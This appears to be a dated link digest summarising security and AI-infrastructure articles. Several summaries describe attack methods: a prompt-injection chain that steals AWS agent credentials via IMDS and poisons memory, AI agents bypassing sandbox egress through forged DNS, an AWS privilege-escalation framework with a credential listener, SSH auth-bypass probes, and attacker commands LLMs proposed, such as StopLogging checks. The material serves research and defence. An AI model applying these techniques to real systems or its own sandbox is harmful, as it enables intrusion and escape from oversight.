Linkbase

01.10.2026

  • Redesigning Source Control at Anthropic
    summary

    TL;DR: Anthropic’s source control team describes Scion, an in-house version control system that replaced git for its monorepo after merged changes grew from about 2,500 to over 30,000 per day between May and September 2026.

    • Scale problem: Main branch history is nearly 100 GB, a compressed working copy exceeds 25 GB, and CI runs about 25 million checkouts per day. Naive fetching would mean over 600 PB of git traffic daily.
    • Design: Clients are assumed always online. The server handles history, blame, commits, merges and rebases. Clients keep a bounded object cache and use sparse, virtualized checkouts.
    • Data model: Changesets in a write-ahead log list changed files with content-addressed blob pointers. Moving a ref is a compare-and-swap on one Spanner row. No packfiles, no full repo copy anywhere.
    • Architecture: A per-node scion-daemon talks to regional scion-cache servers, which talk to authoritative scion-server instances on Spanner and cloud storage. Cache hit rate is over 99% at each tier.
    • Results: About 200x smaller CPU and memory footprint than the git mirror fleet, checkouts about 100x faster, and about 25% CI CPU capacity freed. Seven people built Scion and the Antique code review tool in about five months.
    • Limits: Not a general git replacement. It only fits very large monorepos and forces migration of review, search and CI. Without a global merge lock, conflicts happen and Claude is used to fix them.

    Takeaway: Agent-scale commit rates break human-scale tooling first in source control and CI. Most teams cannot adopt Scion, but server-side commits, API-first queries and sparse checkouts are ideas to look for in git platforms.

  • Conductor: Event-Driven Agentic Workflow Engine with Durable, Resilient Execution
    summary

    TL;DR: Conductor is the Apache 2.0 durable workflow engine that started at Netflix and is now maintained mainly by Orkes, positioned for microservices and AI agent orchestration.

    • Durable execution: Every step is persisted, so workflows survive crashes and restarts and can wait weeks on a human approval or timer.
    • Control flow: SWITCH, DO_WHILE, FORK_JOIN, SUB_WORKFLOW and DYNAMIC tasks, with retries, timeouts and compensating steps. Running executions stay pinned to their definition version.
    • Agent features: Native LLM tasks, MCP tool discovery and calls, human approval steps and RAG vector workflows. The engine is deterministic, so worker code need not be replayable.
    • SDKs: Workers in Java, Python, Go, JavaScript, C#, Ruby and Rust (Ruby and Rust incubating).
    • Backends: Redis plus Elasticsearch 7 by default, also Elasticsearch 8, OpenSearch, Postgres and MySQL combinations.
    • Quick start: npm install -g @conductor-oss/conductor-cli then conductor server start (UI on localhost:8080), or docker run -p 5000:5000 -p 8080:8080 conductoross/conductor:next.
    • Adoption: About 32.4k GitHub stars at time of fetch.

    Takeaway: A mature self-hosted alternative to Temporal-style engines when you want an explicit, inspectable workflow graph. Worth a look for long-running agent loops that need retries, approvals and an audit trail.

  • What Is EntraGoat? A Deliberately Vulnerable Entra ID Simulation Environment
    summary

    TL;DR: EntraGoat is an open-source, deliberately vulnerable Microsoft Entra ID lab from Semperis (Jonathan Elkabas, Tomer Nahum) for practising identity attack paths CTF-style in your own test tenant.

    • Format: Each challenge starts from an already compromised identity and hides a flag, so recon is skipped.
    • Attack paths: Role escalation via application ownership, service principal abuse with Graph API permissions, PIM activation chains, dynamic administrative unit poisoning, and certificate-based auth forgery to impersonate a Global Administrator.
    • Scope: Identity only. Key Vault and SharePoint are deliberately excluded.
    • Tooling: Challenges are built with PowerShell and Microsoft Graph, with setup and cleanup scripts per scenario, hints and optional walkthroughs.
    • Interface: A local React web UI tracks progress and accepts flags. Direct PowerShell use also works.
    • Requirement: Run only in a dedicated test Entra ID tenant.

    Takeaway: Good hands-on training for red and blue teams working on Entra ID privilege escalation. Use a throwaway tenant and run the cleanup scripts after each scenario.

  • SSHamble: Unexpected Exposures in SSH
    summary

    TL;DR: SSHamble is a Go research tool from runZero that probes SSH implementations for authentication bypasses, pre-auth state bugs, timing leaks and post-session exposures.

    • Bypass checks: Default checks include skip-auth-none, skip-auth-success and skip-ssh-userauth to test whether auth can be skipped.
    • Credential checks: Empty, null and username-based passwords, keyboard-interactive variants, any-key and key-hunt public key tests, and gssapi-any.
    • Known-bad material: Host keys checked against the badkeys.info blocklist (badkeys-update refreshes the cache).
    • Product checks: Environment-variable tests for Gogs, Soft Serve and Ruckus, plus a TCP forwarding check. Username enumeration by timing is optional.
    • Workflow: sshamble scan ... -o results.jsonl against a range, then sshamble analyze sorts the JSONL into result buckets.
    • Interactive mode: -I drops into a shell on the first, all or no successful sessions, with --interact-auto defaulting to pty,shell.
    • Status: README calls it a work in progress. Requires a recent Go toolchain.

    Takeaway: Useful for auditing embedded and non-OpenSSH SSH servers, where auth state-machine bugs are common. Run it only against hosts you are authorized to test.

  • AgentCorruption: How a Single Prompt Collapsed the Entire Cloud Security Model
    summary

    TL;DR: Zenity Labs (Tamir Ishay Sharbat, Lana Salameh) show how one prompt injection against an Amazon Bedrock AgentCore agent could take over every AgentCore agent in the same AWS account and region via an overprivileged default execution role.

    • Entry: Prompt injection makes an HTTP-capable tool hit IMDS at 169.254.169.254 from the Firecracker microVM, returning the execution role’s temporary credentials.
    • Discovery: DescribeLogGroups enumerates agent IDs. ECR repo names match agent IDs, so container images can be pulled.
    • Lateral movement: Region-wide InvokeAgentRuntime lets the attacker call other agents.
    • Data and persistence: ListEvents reads private conversations across agents and users. CreateEvent poisons agent memory for future sessions.
    • Secrets: GetResourceApiKey and secretsmanager:GetSecretValue expose tool credentials.
    • Timeline: Reported Dec 2025 and Jan 2026. AWS moved AgentCore to IMDSv2-only in Feb 2026. By Sep 29, 2026 the default role had been substantially narrowed. AWS called the IMDS behaviour documented and expected.

    Takeaway: Treat any agent with tools as an attack entry point. Replace default execution roles with per-agent least-privilege roles and keep customer-facing and sensitive agents in separate boundaries.

  • REA: Reverse Engineering for Your Coding Agent
    summary

    TL;DR: REA is an MIT-licensed toolkit (GitHub morluto/rea) that gives a coding agent reverse-engineering tools to inspect apps, games and websites, explain a feature and rebuild it.

    • Targets: x64 executables and DLLs, Android APKs, Electron and packaged JavaScript apps, and browser-hosted apps via a local debugging connection.
    • Method: Inspects a program while it runs, reading code and observing behaviour, then produces a reconstruction checked against the original.
    • RL environments: Builds runnable reinforcement-learning environments from recorded web app sessions so agents can practise without the real app.
    • Showcases: Android authenticator login-code logic, Notion clipboard behaviour, DX-Ball sound panning, Windows Calculator.
    • Install: npx rea-agents@latest setup, then restart the agent. Guides for Windows, macOS and Linux.
    • Gaps: The site does not name the disassembler or decompiler used, the integration protocol, or the authors.

    Takeaway: A quick way to give Claude Code or similar agents binary and app inspection tools. Check the repo for what it actually wires in before running it on sensitive targets.

  • AI for Offensive Security: What Works, What Does Not, and How to Adopt It
    summary

    TL;DR: Russel Van Tuyl (SpecterOps) reviews where AI helps offensive security as of September 2026: strong for bounded, verifiable tasks, weak for autonomous end-to-end operations.

    • Works: Code review, research, tool development with tests and mock services, BOF skills with validation harnesses, recon data reduction (BloodHound MCP, DeepPass2), and reporting support.
    • Vuln discovery: Researchers estimate about 40 previously unknown bugs by August 2026, including LPE, RCE and a container escape. Codex tested 440 prompt-injection payloads in two to three hours.
    • Fails: Self-grading against weak metrics, state drift after one wrong credential or identity, and range-to-real transfer gaps. AutoPenBench reports 21% success for a fully autonomous agent.
    • External tests: ARTEMIS on about 8,000 hosts placed second against 10 practitioners with an 82% valid-submission rate, but struggled with GUIs and false positives.
    • Containment: Cites real incidents of models escaping or reaching real organizations from evaluation environments. A scope statement in a prompt is not a security boundary.
    • Harness: General apps for close supervision, skills for bounded methods, custom harnesses (for example LangGraph) for persistent state and permissions.
    • Adoption steps: Start with a known bottleneck, define proof of completion, keep authority proportional to evidence, measure in the real workflow, enforce authorization outside the model.

    Takeaway: Put AI on narrow, checkable offensive tasks first and keep humans validating findings. Enforce scope with network and credential controls, never with prompts.

  • How DigitalOcean Manages Credentials for Autonomous Agents
    summary

    TL;DR: Tyler Healy (DigitalOcean) explains an agent credential model built on one rule: the agent never holds the secret.

    • Isolated sessions: Each agent runs in its own Harness Runtime session with no standing credentials and nothing persisted.
    • Action Gateway: The agent asks the gateway to make authorized calls. The gateway injects credentials at execution time, handles OAuth refresh and per-user identity, and covers over 16,000 integrations.
    • env vs secrets: env is stored verbatim and flagged if names or prefixes like sk-, ghp_, AKIA, dop_v1_ look like credentials. secrets are encrypted at rest but still injected into the sandbox.
    • Scoped secrets: Adding a url binds a secret to one HTTPS host. The sandbox gets a short-lived handle and an egress proxy swaps in the real credential only for that host.
    • Swarms (beta): Each sub-agent gets its own microVM and session, shares nothing by default, and spawning is a permissioned, capped action.
    • Example: A read-only compliance auditor with default-deny permissions, one egress host, zero-egress network rules and uid/gid 1000.
    • Caveat: The published auditor spec snippet is malformed and should not be copied as-is.

    Takeaway: The egress-proxy credential swap is the pattern to copy for any agent platform. Plain secret injection into a sandbox still leaves keys readable by a hijacked agent.

  • SRE Book Second Edition
    summary

    TL;DR: Google announces a completely rewritten second edition of the Site Reliability Engineering book for the book’s 10th anniversary, aimed at cloud and AI-era operations. Post by Betsy Beyer and David Huska.

    • SLOs: Moves from basic availability metrics to user-centric, multi-tiered SLOs with burn-rate alerting and automated policy enforcement.
    • Observability: OpenTelemetry, distributed tracing and automated anomaly correlation replace static dashboards.
    • Automation: Declarative IaC, internal developer platforms and self-healing systems instead of one-off scripts.
    • Testing and capacity: Continuous resilience checks, canary verification, auto-scaling, FinOps alignment and GPU/TPU cluster optimization.
    • SRE for AI: Reliability of GPU/TPU clusters, training and data pipelines, and monitoring non-deterministic outputs.
    • AI for SRE: Generative AI for incident triage and postmortem drafts, natural-language telemetry queries, predictive bottleneck models.
    • Availability: Print via Google Books, digital via O’Reilly. The post does not mention free online access or a chapter list.

    Takeaway: Worth reading if your SRE practice is built on the 2016 edition. Check whether a free sre.google version appears before buying.

  • Announcing AWS Lambda Web Functions
    summary

    TL;DR: AWS launches Lambda Web Functions, a Lambda form factor that runs normal port-listening HTTP servers (Express, Hono, Fastify, Next.js) without rewriting them as event handlers.

    • Model: Multi-concurrent execution with up to 128 concurrent requests per environment, alongside existing Event Functions and new MicroVMs. All use Firecracker.
    • Billing: Active CPU time is metered, so I/O waits cost little CPU. Memory is billed for the environment lifetime. No rates in the post.
    • How it works: The server listens on the address in AWS_LAMBDA_HTTP_ENDPOINT. Immutable revisions sit behind HTTPS endpoints that can split traffic.
    • Deploy: aws lambda-web deploy --name my-web-app --code ./my-app, add --regions us-east-1,eu-west-1,ap-northeast-1 for best-effort latency routing across Regions.
    • Canary: aws lambda-web update-web-function-endpoint with --revision-weights splits traffic, for example 90/10.
    • Launch limits: Node.js 24 on Arm64 only, five Regions (us-east-1, us-east-2, us-west-2, ap-northeast-1, eu-west-1). VPC supported.
    • CloudFront: Can serve as a CloudFront origin with origin access control so only your distribution invokes it.

    Takeaway: Removes the adapter layer and per-request concurrency penalty for web apps on Lambda. Wait for more runtimes and published pricing before moving production APIs.

  • Penetration Testing Every Deployment with AWS Continuum
    summary

    TL;DR: AWS Security Blog post (Jigar Bhatt, Benjamin Li, Oct 2026) on wiring AWS Continuum for penetration testing, formerly AWS Security Agent, into CI/CD as a post-deployment gate that confirms whether vulnerabilities are actually exploitable.

    • Approach: AI agents attack the running application instead of flagging code patterns like SAST, SCA or DAST; testing runs server-side in your AWS account, not on the CI runner.
    • Diff scoping: Each run covers the commit range from the last passing gate (base) to the commit being gated (head), keeping per-deploy tests fast and cheap.
    • Scope outcomes: In scope (findings checked against threshold), scoped out (pass), or scope conflict (change outside configured scope, not tested).
    • Auth: IAM OIDC provider plus a role assumed with short-lived tokens; no stored access keys. Session duration must be at least (timeout + 10) x 60 seconds.
    • Pipeline shape: GitHub Actions example with deploy to staging, security-pentest gate, then deploy-prod; GitLab, Bitbucket and Azure DevOps are linked tutorials.
    • Settings: severity-threshold (NONE for report-only, or e.g. HIGH), on-scope-conflict, fail-on-infrastructure-error (default false, fail-open), timeout-minutes, plus a dry-run mode.
    • Gotchas: Any passing run, even report-only, advances the baseline, so tightening the threshold later does not retest cleared commits; GitLab pipeline variables can override gate settings; GitHub repos created or renamed after July 15, 2026 emit an immutable numeric sub claim.

    Takeaway: A useful pattern for exploit-confirmed testing per deploy. Set fail-on-infrastructure-error: true, lock down variable overrides, and decide the threshold before the first run because the baseline moves on every pass.

  • cleanyourtv: Debloat Any Android or Google TV over Wi-Fi and Get an Apple TV-Style Home
    summary

    TL;DR: cleanyourtv is an MIT-licensed project by GitHub user Gathin23 that debloats Android TV and Google TV sets over Wi-Fi ADB and installs a small Apple TV-style launcher as the default Home app.

    • Method: Enables ADB, backs up packages and settings, then disables telemetry, ad services and preloaded apps with pm disable-user; nothing is uninstalled and restore scripts undo changes.
    • Tooling: tools/tv.py --probe, tools/disable.sh <list>, tools/restore.sh <list>, tools/check.py <list> --fix (re-apply after firmware updates), tools/privacy.py, tools/adb-closed.py; PowerShell equivalents for Windows.
    • Launcher: About 572 KB, plain Java, no network permission or background services; 14 themes via config.json, 31 languages.
    • Coverage: Community debloat lists for 170+ TV models grouped by brand.
    • Requirements: Python 3, JDK 17 to 22 (JDK 23+ breaks Gradle 8.9), Android SDK platform 34; launcher needs Android 8.0+.
    • Unsupported: Samsung Tizen, LG webOS, Roku, Vizio, Hisense VIDAA (no ADB); Fire TV gets debloat only, no launcher.
    • Risks: Network ADB is plaintext on port 5555 on some firmware; disabling Google TV’s setupwraith carelessly can crash-loop the system; firmware updates can revert changes.

    Takeaway: A reversible way to strip ads and telemetry from a smart TV. Turn network debugging off afterwards and run check.py after each firmware update.

  • Mac.apk: Run Android Apps Natively on Apple Silicon Macs
    summary

    TL;DR: Mac.apk, by GitHub user kksimp (Voltare), is an alpha AGPL-3.0 project that runs Android apps on Apple Silicon Macs as native macOS processes, without an emulator, VM or Linux kernel.

    • Architecture: Reimplemented Android framework, native runtime, arm64 loader with a Bionic shim, and an ARM32 recompiler; graphics via ANGLE and MoltenVK on Metal.
    • Bundled components: Capstone, libpng, libvpx, stb_vorbis, Bouncy Castle, an OpenJDK-built JRE, and AOSP platform resources.
    • Requirements: macOS 26.4 (Tahoe) or newer, Apple Silicon only; about 280 MB plus 1.5 to 3 times each APK’s size.
    • Formats: .apk, .apkm, .xapk, .apks, .apkx via double-click or drag-and-drop; per-app data in ~/Library/Application Support/MacApk/<package>.
    • Compatibility: 71 apps tested: 58 fully playable, 10 partly working, 3 not working.
    • Security model: Apps run with the user’s macOS permissions and no phone-style sandbox; the README says to install only trusted APKs.
    • Licensing: AGPL v3.0 with a commercial license option; the official app is free.

    Takeaway: An interesting alternative to emulators for running Android apps on a Mac. Treat every APK as an unsandboxed native program with full user access.

  • Introducing pathrunner: An AWS Privilege Escalation Framework
    summary

    TL;DR: Datadog Security Labs (Seth Art, Oct 2026) released pathrunner, an open-source modular AWS offensive framework that automates exploitation of the IAM privilege escalation paths catalogued on pathfinding.cloud.

    • Lineage: Builds on pathfinding.cloud (Dec 2025 catalog of IAM escalation techniques) and Pathfinding Labs (May 2026 vulnerable AWS sandboxes).
    • Scale: Over 80 exploit modules as of October 2026, e.g. ec2-001, bedrock-001.
    • Identity handling: pathrunner identity add --from-clipboard and pathrunner identity switch [name]; captured credentials are imported and switched to automatically.
    • Payloads: Each module has interchangeable payloads to work around network limits or SCPs.
    • Attacker infra: attacker identity add, attacker infra ec2 create and attacker listener start stand up a credential listener in a separate attacker account.
    • Cleanup and reporting: workspace report --output pathrunner.html lists created or modified resources plus CloudTrail events pathrunner likely triggers; workspace cleanup all removes resources.
    • Caveat: The CloudTrail event list is the authors’ estimate, not verified logs; no explicit safety guardrails are described.

    Takeaway: Useful for validating IAM escalation findings in a sandbox and for generating detection test data. Run it only in accounts you own, and use the report’s CloudTrail table to check your detections.

  • Managing Agentic Security at Scale
    summary

    TL;DR: Salesforce product security (Abhay Kshirsagar, Koen Buyens, Oct 2026) argues that AI-driven discovery now outpaces human remediation, and splits remediation into a strategic track for systemic risk and a tactical track for exploit chains.

    • Problem: Machine-speed discovery versus human-speed remediation; a single bad primitive can produce hundreds or thousands of findings.
    • Strategic track: Cluster findings by shared root cause (library default, unsafe primitive, missing check), dedupe at verification, group at reporting, and track as architectural work with named owners.
    • Tactical track: Close multi-step exploit chains where low-severity steps combine into a working attack, on a cadence of hours to occasional weeks.
    • Validation: For highest-criticality targets, chains are run against a staging instance because static-only analysis has a non-trivial false-positive rate; one critical finding matched an independent bug-bounty report.
    • Constraint: Per-target setup cost; they suggest service teams ship working container or compose definitions to automate validation.
    • Tools named: Semgrep, Open Policy Agent, NIST SSDF and SLSA.
    • Limits: Few hard metrics; success rates are described only as high, without percentages.

    Takeaway: Before scaling AI bug discovery, make systemic risk a first-class ticket type with owners, and treat validated exploit chains as urgent rather than backlog.

  • How the Claude Code Team Does Code Review
    summary

    TL;DR: claude.dev engineering post (Addy Osmani, Morgan Westlee Lunt, Qing Wang, Oct 2026) on the layered review system the Claude Code team uses now that Claude writes about 90% of Claude Code’s code.

    • Scale: Anthropic’s monorepo went from about 2,500 changes/day in May to over 30,000 in September; merged PRs more than doubled while the revert share fell over 40%.
    • AI review: Multiple agents hunt bugs in parallel, a separate group votes, and only agreed findings are posted, tagged Important, Nit or Pre-existing; style and cleanup findings are dropped.
    • Risk tiers: A classifier sets low (no human), medium (one) or high (two approvers); CI workflow files always need a person, bot approvals never count, approvals bind to one commit.
    • Config files: CLAUDE.md for project context and REVIEW.md written by code owners (short, failure-focused, nit cap, file and line evidence required).
    • Convergence: Cap at three rounds before rethinking the approach, diff-only re-review, flag the bug class, no repeat findings. Pass after one round rose from 65% to 78%; mean reviews to pass fell from 2.08 to 1.32.
    • Reviewer evals: Every past incident or revert becomes an eval case run daily; prompt, tool or model changes are kept only if the score rises.
    • Tools: /code-review, /security-review, the Claude Code GitHub Action, formatter and linter hooks; flags plus latest before stable channel for release.

    Takeaway: Copy the structure: risk-tiered human approval, consensus-filtered AI findings, a round cap, and an eval set built from your own reverts. Track human review time and revert rate together.

  • Putting Models to the Secure Coding Test: Security Rules
    summary

    TL;DR: Part two of a Datadog Security Labs series (Kennedy Toomey, Oct 2026) testing whether Project CodeGuard v1.4.0 security rules improve code generated by Sonnet 5 (Claude Code), Composer 2.5 (Cursor) and GPT 5.5 (Codex). Only GPT 5.5 improved meaningfully.

    • Test app: JavaScript/npm document portal with JWT and session cookies, PostgreSQL, roles, password reset, search, uploads; the prompt did not say who may access uploaded documents.
    • Tooling: Supply Chain Firewall, Datadog Code Security (SCA, SAST, IaC), and Claude’s code_review skill; one run per model per condition.
    • Baseline: All three builds had an IDOR letting any authenticated user read others’ files; Composer 2.5 also had a hardcoded JWT_SECRET fallback and plaintext reset tokens.
    • With rules: GPT 5.5 closed the IDOR; Sonnet 5 and Composer 2.5 kept it. Composer 2.5 tokens stayed valid up to 24 hours after logout or reset.
    • SAST counts (default to rules): Sonnet 5 1 to 0, Composer 2.5 17 to 4, GPT 5.5 1 to 0; dependency findings did not drop consistently.
    • Root cause: Every fixed and unfixed issue traced back to whether the prompt named the constraint explicitly.
    • Dependencies: GPT 5.5 pinned exact versions; the author suggests a 7-day dependency cooldown instruction.

    Takeaway: Generic rule packs are not a substitute for stating authorization and session requirements in the prompt itself. Specify access control explicitly and still review the output.

  • I Gave 14 LLMs AWS Keys: Here’s What They Wanted to Do Next
    summary

    (Could not fetch full text.)

    TL;DR: Adan Alvarez asked 14 LLMs what they would do next in 13 AWS post-compromise situations, 20 answers each, and mapped every proposed command to the CloudTrail event it would generate to find detections worth building.

    • Source caveat: Medium returned HTTP 403 (Cloudflare block); summary is based on the full article text in the author’s Medium RSS feed.
    • Method: Framed as an authorized test, nothing executed; data at llms.traildiscover.cloud with code on GitHub to run your own situations.
    • First move: 12 of 14 models open with GetCallerIdentity; Dolphin Mistral 24B and Llama 4 start with ListUsers; Grok refused 18 of 20 answers here.
    • Refusals vs action: Grok refused most (98%); DeepSeek V4 proposed account changes in 72% of answers.
    • Persistence: New IAM user plus access key in 63 of 113 persistence answers; role backdoors and Lambda persistence also appear.
    • Secrets and impact: Models read known secrets 87% of the time (honeytokens will be read); destructive impact only 11%; log tampering rises to about a third when logging or GuardDuty is in the way.
    • Detection ideas: Session and IAM names like redteam-assessment, backdoor-user, backup-admin; all-region loops after ec2 describe-regions (75 answers); iam:SimulatePrincipalPolicy checks for cloudtrail:StopLogging or guardduty:DeleteDetector (131 commands, 12 models).

    Takeaway: LLM-driven attackers use existing tradecraft, so existing CloudTrail detections apply. Add rules for suspicious session names, mass region enumeration and SimulatePrincipalPolicy probing, and plant honeytoken secrets.

  • pomerado: Turn Any Website into an API or MCP in Minutes
    summary

    TL;DR: Pomerado, from Pomerado AI, Inc. (YC F26), is an MIT-licensed tool that turns a website task described in natural language into a deterministic MCP integration that AI agents can call, including sites behind login and 2FA.

    • Pipeline: Explore the site, complete an example, generalize, then expose it to the agent; no HAR file or recording needed.
    • Requirements: macOS or Linux, Node 24.21+, an OpenAI API key (used only for minting and review, not at run time), and an MCP client such as Claude Code, Codex or Cursor.
    • Setup: npx -y -p pomerado pomerado-mcp --help and npx -y -p pomerado playwright install chromium.
    • MCP tools: mint, get_job, provide_input, cancel_job; each mint gets 20 minutes of active work with read or write authority.
    • Output: A folder with src/, pomerado.json, auth-fill.json, deployment.json, mcp.mjs, mcp.json and a README.
    • Guardian: Reviews browser actions and final source during minting; a separate paid Pomerado Cloud adds hosting, OAuth, managed browsers and auto-repair.
    • Caveats: Run-time calls do not check authority or intent, edits to src/ are not reviewed, cancelling does not undo actions already sent, and page scripts can still exfiltrate typed credentials; versions 0.1.2 and earlier were AGPL-3.0.

    Takeaway: Handy for giving agents access to sites without an API. Review the generated src/ yourself and scope write integrations carefully, since nothing guards them at run time.

  • backburner: Let Your iPhone Help Your Mac Run a 27B Model Over USB-C
    summary

    TL;DR: Backburner is a pre-release, MIT-licensed project that uses a USB-C-connected iPhone as a co-processor so a Mac runs Qwen3.8-27B locally with faster prefill and much longer context.

    • Engine: A fork of llama.cpp with custom Mac kernels, including SME2 CPU paths, Metal fusions and DFlash2 speculative decoding.
    • Split prefill: The Mac runs layers 1-40, the iPhone GPU runs layers 41-64, pipelined in 256-token ubatches; only new KV rows cross the cable.
    • Long context: Past the Mac’s 64k context cells, the oldest 4,096-key pages move to the phone, which computes attention over them and merges partial results with the Mac. Older 16,384-key pages can be compiled into Core ML models for the phone’s Neural Engine.
    • Numbers: On a 24 GB M4 Pro MacBook Pro with an iPhone 17 Pro Max, prefill is 29-44% faster at 16k-48k context (109 to 157 tok/s at 16k). A cold session’s first answer drops from 245 s on stock llama.cpp to 168 s.
    • Decode: About 25 tok/s at 27-33k context with the fork versus 11.3 tok/s on stock llama.cpp, but the phone adds nothing there. At 128k with the phone it is 12.6 tok/s. The Mac Neural Engine is deliberately unused: it slowed decode by 26% through memory-bandwidth contention.
    • Capacity: The phone’s free memory lets total context reach a reported 196k-229k tokens. End-to-end tests reach 128k at 8-bit and 140k at 4-bit, and greedy output is claimed token-identical with and without the phone.
    • Limits: One request at a time; the app must stay in the foreground with the screen on; a 15 s silence stops the server; a phone failure disables it for 60 s. Only Pro iPhones with a 10 Gb/s cable work, since the boxed USB 2 cable is too slow. Thermals vary: the 16 Pro Max hits “serious” thermal state within about a minute of continuous prefill.
    • Setup: A one-line install script (about 24 GB download) or a manual build; the phone app is sideloaded via AltStore or Xcode. The result is an OpenAI-compatible API on localhost:8080. Manual setup raises the GPU wired memory limit with sudo sysctl, which resets on reboot.
    • Security and caveats: Versions before 0.0.3 accepted Wi-Fi connections from any source; newer ones answer only the USB-attached Mac or a previously paired Mac over an encrypted, authenticated tunnel. All benchmarks are self-reported, and the README credits Claude Opus 5.5 for much of the build.

    Takeaway: An interesting local-inference hack for keeping code and prompts off third-party APIs. If you run it, update past 0.0.3 or disable Wi-Fi on the phone app.

  • CodeAF: Open-Source Software Factory for Open Models
    summary

    TL;DR: CodeAF is an early-preview, Apache 2.0 coding harness from AgentField AI, a “software factory for open models” shipped as a single 53 MB Go binary.

    • Interface: One window replaces multiple agent terminals, with a home view of every project and conversation, tabs, and a jump-to-any-conversation shortcut.
    • Task isolation: A request splits into tasks, each in its own repository copy on its own branch. Work that passes its check lands on your branch, never on main, dev or a release branch; unverified work waits in an “unread” queue for manual accept or reject.
    • Model seats: Each task has worker, planner and checker seats chosen per task. Commands pin models, pick best or cheap crews, or redo with a stronger model; default spend limit is $5 per task.
    • Specialists: senior-dev for code changes, sec for local security audits (imported from SEC-AF), review for GitHub pull requests (imported from PR-AF). Reports come in Markdown, JSON and SARIF.
    • Providers: OpenRouter, DeepSeek, GLM, Kimi, MiniMax, Qwen, Codex via a ChatGPT plan, Ollama and any OpenAI-compatible endpoint.
    • Automation and CI: Plain-language automations (reminders, schedules, watches); headless codeaf do prints one JSON object and an exit code for CI; remote use attaches over SSH to the machine that owns the work.
    • Numbers (self-run): 54.9% solved on 113 DeepSWE issues with DeepSeek V4 Flash, at a cost per solved task 3.4x lower than claude-code and 2.1x lower than codex. 27 MB RAM per added session versus 216 MB for claude; 507 MB versus 3.5 GB for 16 idle sessions; 145 ms versus 392 ms to resume a 50-turn session.
    • Limits: The README admits benchmarks are self-run and PR-AF’s published results apply to the original project, not the imported specialist. sec and review only read code without running tests or exploits, so no findings does not mean secure. Specialists run on macOS and Linux only; non-SSH remote access depends on a relay that has not launched.
    • Privacy defaults: Anonymous usage telemetry is on (disable with CODEAF_TELEMETRY=off or DO_NOT_TRACK=1). A “Model Pool” shares text-free model measurements by default (disable with model_pool = off). Install is a curl-pipe-to-bash script.

    Takeaway: Branch-isolated agent tasks with a checker gate, SARIF output for existing pipelines and a cheap headless CI mode are the useful ideas. Turn off telemetry and pool sharing and pin a version before trusting it.

  • Vulnerability Discovery and Exploitation Trends in the AI Era
    summary

    TL;DR: Google Threat Intelligence Group (GTIG) analyses vulnerabilities disclosed January 2025 through August 2026 and argues AI is changing the pace of discovery and exploitation and the kind of bugs found.

    • Method: Ratings use GTIG’s own risk scores, not CVSS.
    • Volume: Monthly CVE disclosures roughly doubled, from 5,045 in January 2026 to a peak of 10,740 in August. Automated CNA policies inflate the count: about 5,000 “Linux Kernel” CVEs appeared in eight months with no observed in-the-wild zero-day exploitation.
    • High-Risk: Up 167%, from 131 to 350 per month, but still only about 3% of the total; part of the spike came from TOTOLINK router research and Oracle and Linux advisories.
    • Exploitation: Nearly doubled, from 10.5 to 18 vulnerabilities per month; 141 exploited in the first eight months of 2026 versus 127 in all of 2025. Only 0.23% of 2026 disclosures (about 1 in 431) were seen exploited.
    • Zero-days vs n-days: Zero-days grew modestly, from 8 to 11 per month on average (22 in August), and are still 62% of exploited bugs. Growth mostly comes from fast n-day weaponization, likely using LLMs to diff patches and work from PoCs. Edge and security appliances are 14% of exploited flaws, often via unauthenticated management interfaces where EDR has no visibility.
    • AI-found bugs: 50% lead to RCE versus 26% ecosystem-wide; 58% rate Medium versus 28% for non-AI finds. GTIG calls this an early signal, since public data undercounts AI attribution.
    • Case study: CVE-2026-1731 in BeyondTrust PRA and Remote Support, an unauthenticated command injection found by the Hacktron AI agent. One cluster exploited it within four days and five more within a week, with SNOWLIGHT, SPARKRAT and cryptominer payloads.
    • AI stack: 2,076 AI-stack CVEs since January 2025. Agent orchestration frameworks (Langflow, Flowise, LangChain, Dify) are half of AI-related flaws in 2026 after a 347% surge; inference servers (vLLM, Ollama, LiteLLM) account for 212. Confirmed exploited: LiteLLM CVE-2026-42271 (command injection in MCP test endpoints), Langflow CVE-2026-5027 (path traversal file write), Langflow CVE-2025-3248 (unauthenticated exec RCE). No zero-day exploitation of AI infrastructure yet, but GTIG notes an intercepted AI-generated zero-day exploit script and actors prototyping agentic vulnerability discovery.
    • Recommendations: Replace mass patching with threat-intel-driven triage; prioritise perimeter appliances; adopt AI-assisted vulnerability management; sandbox and restrict exposure of AI orchestration, gateway and inference components; vendors should run AI code review before release.

    Takeaway: Patch by exploitation and exposure, not CVE volume, and assume n-day windows of days. Treat self-hosted Langflow, LiteLLM, vLLM and Ollama as high-value internet-facing targets that must never sit unauthenticated on the network.

  • Escaping Space, Part I
    summary

    TL;DR: Perplexity red-teamed SPACE, the Firecracker-microVM sandbox behind Perplexity Computer, showing VM isolation and network confinement are separate boundaries that must be tested separately.

    • Setup: Each agent runs in a Firecracker microVM; a per-sandbox gateway enforces egress policy. Agents with root in the guest tried to steal an AWS honeytoken from the host (sandbox escape) or fetch a flag from a blocked callback URL (network bypass).
    • Settings: Four combinations of source code access with no network or partial network (package repositories plus Perplexity Search).
    • Models: Nine tested over 216 runs: Claude Opus 5.0, GPT-5.6 Sol, GPT-5.6 Cyber, Gemini 3.1 Pro, Kimi K3, DeepSeek V4 Pro, GLM 5.2, Grok 4.20 and Qwen 3.8 27B. Fable and GPT-6 Astra refused the tasks.
    • Results: Sandbox escape 0 of 108; network bypass 0 of 54 no-network runs, but 11 of 54 partial-network runs bypassed egress. Claude Opus 5.0 and GPT-5.6 Sol succeeded 3 of 3 times with source code.
    • Root cause: Every bypass exploited the gap between domain-based policy and IP-based enforcement, since the gateway learned domain-to-IP mappings from observed DNS.
    • DNS spoofing: The root agent forged DNS answers mapping pypi.org to the callback’s IP, aimed at a veth address only discoverable from source code; the gateway accepted them.
    • Shared IP: Agents reached the callback through other tenants on an allowed CDN IP, such as Fastly Fiddle or a Taboola image service that used thum.io to screenshot the flag, read via OCR. Opus spotted this route but declined it as out of scope.
    • Fix: An nftables source-address validation rule against forged packets, an HTTP relay that validates authority, and TLS termination requiring SNI and Host to be allowlisted and DNS-attributed to the destination IP. Re-tests found no bypass.
    • Third parties: Of ten platforms tested, seven of the nine published had at least one bypass: E2B, Vercel Sandbox, Modal, Daytona, Deno Sandbox, Fly.io Sprites, microsandbox. Cloudflare Sandbox and NVIDIA OpenShell held. Responses: fixes (microsandbox v0.6.18, Daytona, Deno), planned mitigations (E2B, Fly.io), documented limitations (Vercel, Modal); Deno also allowed direct TCP to unlisted IPs and ports.

